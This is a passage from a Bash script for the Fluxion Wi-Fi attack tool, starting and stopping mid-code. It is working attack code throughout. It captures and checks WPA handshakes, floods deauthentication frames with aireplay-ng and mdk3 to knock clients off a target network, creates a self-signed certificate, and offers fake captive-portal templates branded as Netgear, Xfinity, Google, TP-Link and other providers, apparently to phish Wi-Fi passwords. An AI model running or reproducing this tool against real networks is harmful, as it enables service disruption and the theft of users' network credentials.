\"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                        read yn\n                        echo \"\"\n                        case $yn in\n                                1 ) authmode=\"handshake\"; handshakelocation; break ;;\n                                2 ) authmode=\"wpa_supplicant\";  webinterface; break ;;\n                                3 ) askAP; break ;;\n                                * ) echo \"$general_case_error\"; conditional_clear ;;\n                        esac\n                done\n        fi\n}\n\nfunction handshakelocation {\n\n        conditional_clear\n\n        top\n        infoap\n        if [ -f \"/root/handshakes/$Host_SSID2-$Host_MAC.cap\" ]; then\n                echo -e \"Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes.\"\n                echo -e \"${red}Do you want to use this file? (y/N)\"\n                echo -ne \"$transparent\"\n\n                if [ \"$FLUX_AUTO\" = \"0\" ];then\n                        read usehandshakefile\n                fi\n\n                if [ \"$usehandshakefile\" = \"y\" -o \"$usehandshakefile\" = \"Y\" ]; then\n                        handshakeloc=\"/root/handshakes/$Host_SSID2-$Host_MAC.cap\"\n                fi\n        fi\n        if [ \"$handshakeloc\" = \"\" ]; then\n                echo\n                echo -e \"handshake location  (Example: $red$WORK_DIR.cap$transparent)\"\n                echo -e \"Press ${yellow}ENTER$transparent to skip\"\n                echo\n                echo -ne \"Path: \"\n\n                if [ \"$FLUX_AUTO\" = \"0\" ];then\n                        read handshakeloc\n                fi\n\n        fi\n                if [ \"$handshakeloc\" = \"\" ]; then\n                        deauthforce\n                else\n                        if [ -f \"$handshakeloc\" ]; then\n                                pyrit -r \"$handshakeloc\" analyze &>$flux_output_device\n                                pyrit_broken=$?\n\n                                if [ $pyrit_broken = 0 ]; then\n                                Host_SSID_loc=$(pyrit -r \"$handshakeloc\" analyze 2>&1 | grep \"^#\" | cut -d \"(\" -f2 | cut -d \"'\" -f2)\n                                Host_MAC_loc=$(pyrit -r \"$handshakeloc\" analyze 2>&1 | grep \"^#\" | cut -d \" \" -f3 | tr '[:lower:]' '[:upper:]')\n                                else\n                                        Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng \"$handshakeloc\" | grep WPA | grep '1 handshake' | awk '{print $3}')\n                                        Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng \"$handshakeloc\" | grep WPA | grep '1 handshake' | awk '{print $2}')\n                                fi\n\n\n                                if [[ \"$Host_MAC_loc\" == *\"$Host_MAC\"* ]] && [[ \"$Host_SSID_loc\" == *\"$Host_SSID\"* ]]; then\n                                        if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi \"AccessPoint\" | grep -qi \"good,\"; then\n                                                cp \"$handshakeloc\" $DUMP_PATH/$Host_MAC-01.cap\n                                                certssl\n                                        else\n                                        echo -e $yellow \"Corrupted handshake\" $transparent\n                                        echo\n                                        sleep 2\n                                        echo \"Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]\"\n                                        echo\n\n                                        read handshakeloc_aircrack\n                                        echo -ne \"$transparent\"\n                                        if [ \"$handshakeloc_aircrack\" = \"\" ]; then\n                                                handshakelocation\n                                        else\n                                                if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q \"1 handshake\"; then\n                                                        cp \"$handshakeloc\" $DUMP_PATH/$Host_MAC-01.cap\n                                                        certssl\n                                                else\n                                                        echo \"Corrupted handshake\"\n                                                        sleep 2\n                                                        handshakelocation\n                                                fi\n                                        fi\n                                        fi\n                                else\n                                        echo -e \"${red}$general_error_1$transparent!\"\n                                        echo\n                                        echo -e \"File ${red}MAC$transparent\"\n\n                                        readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep \"^#\")\n                                                for i in \"${lista_loc[@]}\"; do\n                                                        echo -e \"$green $(echo $i | cut -d \" \" -f1) $yellow$(echo $i | cut -d \" \" -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d \"(\" -f2 | cut -d \"'\" -f2)$transparent)\"\n                                                done\n\n                                        echo -e \"Host ${green}MAC$transparent\"\n                                        echo -e \"$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)\"\n                                        sleep 7\n                                        handshakelocation\n                                fi\n                        else\n                                echo -e \"File ${red}NOT$transparent present\"\n                                sleep 2\n                                handshakelocation\n                        fi\n                fi\n}\n\nfunction deauthforce {\n\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                 handshakemode=\"normal\"; askclientsel\n        else\n\n                conditional_clear\n\n                top\n                while true; do\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_deauthforce\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" pyrit\" $transparent\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $deauthforce_option_1\"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" $general_back\" $transparent\n                        echo \"                                       \"\n                        echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                        read yn\n                        echo \"\"\n                        case $yn in\n                                1 ) handshakemode=\"normal\"; askclientsel; break ;;\n                                2 ) handshakemode=\"hard\"; askclientsel; break ;;\n                                3 ) askauth; break ;;\n                                * ) echo \"\n                $general_case_error\"; conditional_clear ;;\n                        esac\n                done\n        fi\n}\n\n############################################### < MENU > ###############################################\n\n\n\n\n\n\n############################################# < HANDSHAKE > ############################################\n\n# Type of deauthentication to be performed\nfunction askclientsel {\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                deauth all\n        else\n                conditional_clear\n\n                while true; do\n                        top\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_deauthMENU\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" Deauth all\"$transparent\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Deauth all [mdk3]\"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$transparent\" Deauth target \"\n                        echo -e \"      \"$red\"[\"$yellow\"4\"$red\"]\"$transparent\" Rescan networks \"\n                        echo -e \"      \"$red\"[\"$yellow\"5\"$red\"]\"$transparent\" Exit\"\n                        echo \"                                       \"\n                        echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                        read yn\n                        echo \"\"\n                        case $yn in\n                                1 ) deauth all; break ;;\n                                2 ) deauth mdk3; break ;;\n                                3 ) deauth esp; break ;;\n                                4 ) killall airodump-ng &>$flux_output_device; ghost; break;;\n                                5 ) exitmode; break ;;\n                                * ) echo \"\n        $general_case_error\"; conditional_clear ;;\n                        esac\n                done\n        fi\n}\n\n#\nfunction deauth {\n\n        conditional_clear\n\n        iwconfig $WIFI_MONITOR channel $Host_CHAN\n\n        case $1 in\n                all )\n                        DEAUTH=deauthall\n                        capture & $DEAUTH\n                        CSVDB=$Host_MAC-01.csv\n                ;;\n                mdk3 )\n                        DEAUTH=deauthmdk3\n                        capture & $DEAUTH &\n                        CSVDB=$Host_MAC-01.csv\n                ;;\n                esp )\n                        DEAUTH=deauthesp\n                        HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC`\n                        LINEAS_CLIENTES=`echo \"$HOST\" | wc -m | awk '{print $1}'`\n\n\n                        if [ $LINEAS_CLIENTES -le 5 ]; then\n                                DEAUTH=deauthall\n                                capture & $DEAUTH\n                                CSVDB=$Host_MAC-01.csv\n                                deauth\n\n                        fi\n\n                        capture\n                        for CLIENT in $HOST; do\n                                Client_MAC=`echo ${CLIENT:0:17}`\n                                deauthesp\n                        done\n                        $DEAUTH\n                        CSVDB=$Host_MAC-01.csv\n                ;;\n        esac\n\n\n        deauthMENU\n\n}\n\nfunction deauthMENU {\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                while true;do\n                        checkhandshake && sleep 5\n                done\n        else\n\n                while true; do\n                        conditional_clear\n\n                        clear\n                        top\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_deauthMENU \"\n                        echo\n                        echo -e \"Status handshake: $Handshake_statuscheck\"\n                        echo\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" $deauthMENU_option_1\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $general_back \"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$transparent\" Select another network\"\n                        echo -e \"      \"$red\"[\"$yellow\"4\"$red\"]\"$transparent\" Exit\"\n                        echo -n '      #> '\n                        read yn\n\n                        case $yn in\n                                1 ) checkhandshake;;\n                                2 ) conditional_clear; killall xterm; askclientsel; break;;\n                                3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;;\n                                4 ) exitmode; break;;\n                                * ) echo \"\n        $general_case_error\"; conditional_clear ;;\n                        esac\n\n                done\n        fi\n}\n\n# Capture all\nfunction capture {\n\n        conditional_clear\n        if ! ps -A | grep -q airodump-ng; then\n\n                rm -rf $DUMP_PATH/$Host_MAC*\n                xterm $HOLD -title \"Capturing data on channel --> $Host_CHAN\" $TOPRIGHT -bg \"#000000\" -fg \"#FFFFFF\" -e airodump-ng  --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one &\n        fi\n}\n\n# Check the handshake before continuing\nfunction checkhandshake {\n\n        if [ \"$handshakemode\" = \"normal\" ]; then\n                if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q \"1 handshake\"; then\n                        killall airodump-ng mdk3 aireplay-ng &>$flux_output_device\n                        wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device\n                        certssl\n                        i=2\n                        break\n\n                else\n                        Handshake_statuscheck=\"${red}Not_Found$transparent\"\n\n                fi\n        elif [ \"$handshakemode\" = \"hard\" ]; then\n                pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device\n\n                if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q \"good,\"; then\n                        killall airodump-ng mdk3 aireplay-ng &>$flux_output_device\n                        pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device\n                        certssl\n                        i=2\n                        break\n\n                else\n                        if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q \"1 handshake\"; then\n                                Handshake_statuscheck=\"${yellow}Corrupted$transparent\"\n                        else\n                                Handshake_statuscheck=\"${red}Not_found$transparent\"\n\n                        fi\n                fi\n\n                rm $DUMP_PATH/test.cap &>$flux_output_device\n        fi\n\n}\n\n############################################# < HANDSHAKE > ############################################\n\nfunction certssl {\n\n# Test if the ssl certificate is generated correcly if there is any\n\n        if [ -f $DUMP_PATH/server.pem ]; then\n                if [ -s $DUMP_PATH/server.pem ]; then\n                        webinterface\n                        break\n                else\n\n                        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                                creassl\n                        fi\n                        while true;do\n                        conditional_clear\n                        top\n                        echo \"                                       \"\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Certificate invalid or not present, please choose an option\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" Create a SSL certificate\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Search for SSL certificate\" # hop to certssl check again\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" Exit\" $transparent\n                        echo \" \"\n                        echo -n '      #> '\n                        read yn\n\n                        case $yn in\n                                1 ) creassl;;\n                                2 ) certssl;break;;\n                                3 ) exitmode; break;;\n                                * ) echo \"$general_case_error\"; conditional_clear\n                        esac\n                        done\n                 fi\n        else\n                        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                                creassl\n                        fi\n\n                        while true; do\n                        conditional_clear\n                        top\n                        echo \"                                                                      \"\n                        echo \"  Certificate invalid or not present, please choice\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" Create  a SSL certificate\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Search for SSl certificate\" # hop to certssl check again\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" Exit\" $transparent\n                        echo \" \"\n                        echo -n '      #> '\n                        read yn\n\n                        case $yn in\n                                1 ) creassl;;\n                                2 ) certssl; break;;\n                                3 ) exitmode; break;;\n                                * ) echo \"$general_case_error\"; conditional_clear\n                        esac\n                done\n        fi\n\n\n\n}\n\n# Create Self-Signed SSL Certificate\nfunction creassl {\n        xterm -title \"Create Self-Signed SSL Certificate\" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html\n        certssl\n}\n\n############################################# < ATAQUE > ############################################\n\n# Select attack strategie that will be used\nfunction webinterface {\n\n\n        chmod 400 $DUMP_PATH/server.pem\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                matartodo; ConnectionRESET; selection\n        else\n                while true; do\n                        conditional_clear\n                        top\n\n                        infoap\n                        echo\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_webinterface\"\n                        echo\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" Web Interface\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" \\e[1;31mExit\"$transparent\"\"\n                        echo\n                        echo -n \"#? \"\n                        read yn\n                        case $yn in\n                        1 ) matartodo; ConnectionRESET; selection; break;;\n                        2 ) matartodo; exitmode; break;;\n                        esac\n                done\n        fi\n}\n\nfunction ConnectionRESET {\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                webconf=1\n        else\n                while true; do\n                        conditional_clear\n                        top\n\n                        infoap\n                        n=1\n\n                        echo\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_ConnectionRESET\"\n                        echo\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  English     [ENG]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  German      [GER]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Russian     [RUS]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Italian     [IT]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Spanish     [ESP]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Portuguese  [POR]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Chinese     [CN]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  French      [FR]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"  Turkish     [TR]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Romanian    [RO]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Hungarian   [HU]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Arabic      [ARA]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Greek       [GR]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Czech       [CZ]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Norwegian   [NO]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Bulgarian   [BG]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Serbian     [SRB]  (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Polish      [PL]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Indonesian  [ID]   (NEUTRA)\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Dutch       [NL]   (NEUTRA)\";n=`expr $n + 1`\n                echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Danish      [DAN]  (NEUTRA)\";n=`expr $n + 1`\n                echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Hebrew      [HE]   (NEUTRA)\";n=`expr $n + 1`\n                echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Thai        [TH]   (NEUTRA)\";n=`expr $n + 1`\n            echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Portuguese  [BR]   (NEUTRA)\";n=`expr $n + 1`\n            echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Slovenian   [SVN]  (NEUTRA)\";n=`expr $n + 1`\n            echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Belkin      [ENG]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Netgear     [ENG]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Huawei      [ENG]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Verizon     [ENG]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Netgear     [ESP]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Arris       [ESP]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Vodafone    [ESP]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" TP-Link     [ENG]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Ziggo       [NL]\";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" KPN         [NL]\";n=` expr $n + 1`\n            echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Ziggo2016   [NL]\";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" FRITZBOX_DE [DE] \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" FRITZBOX_ENG[ENG] \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" GENEXIS_DE  [DE] \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Login-Netgear[Login-Netgear] \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Login-Xfinity[Login-Xfinity] \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Telekom \";n=` expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" Google\";n=` expr $n + 1`\n      echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\" MOVISTAR     [ESP]\";n=`expr $n + 1`\n                        echo -e \"      \"$red\"[\"$yellow\"$n\"$red\"]\"$transparent\"\\e[1;31m $general_back\"$transparent\"\"\n                        echo\n                        echo -n \"#? \"\n                        read webconf\n\n                        if [ \"$webconf\" = \"1\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"2\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_GER\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"3\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"4\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_IT\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"5\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"6\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_POR\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"7\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_CN\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"8\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_FR\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"9\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_TR\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR\n                                DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR\n                                DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR\n                                NEUTRA\n                                break\n\n                        elif [ \"$webconf\" = \"10\" ]; then\n                                DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO\n                                DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO\n                                DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO\n                                DIALOG_WEB_OK=$DIALOG_WEB_OK_RO\n                                DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO\n                                DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO\n                                DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO\n                                DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO\n                                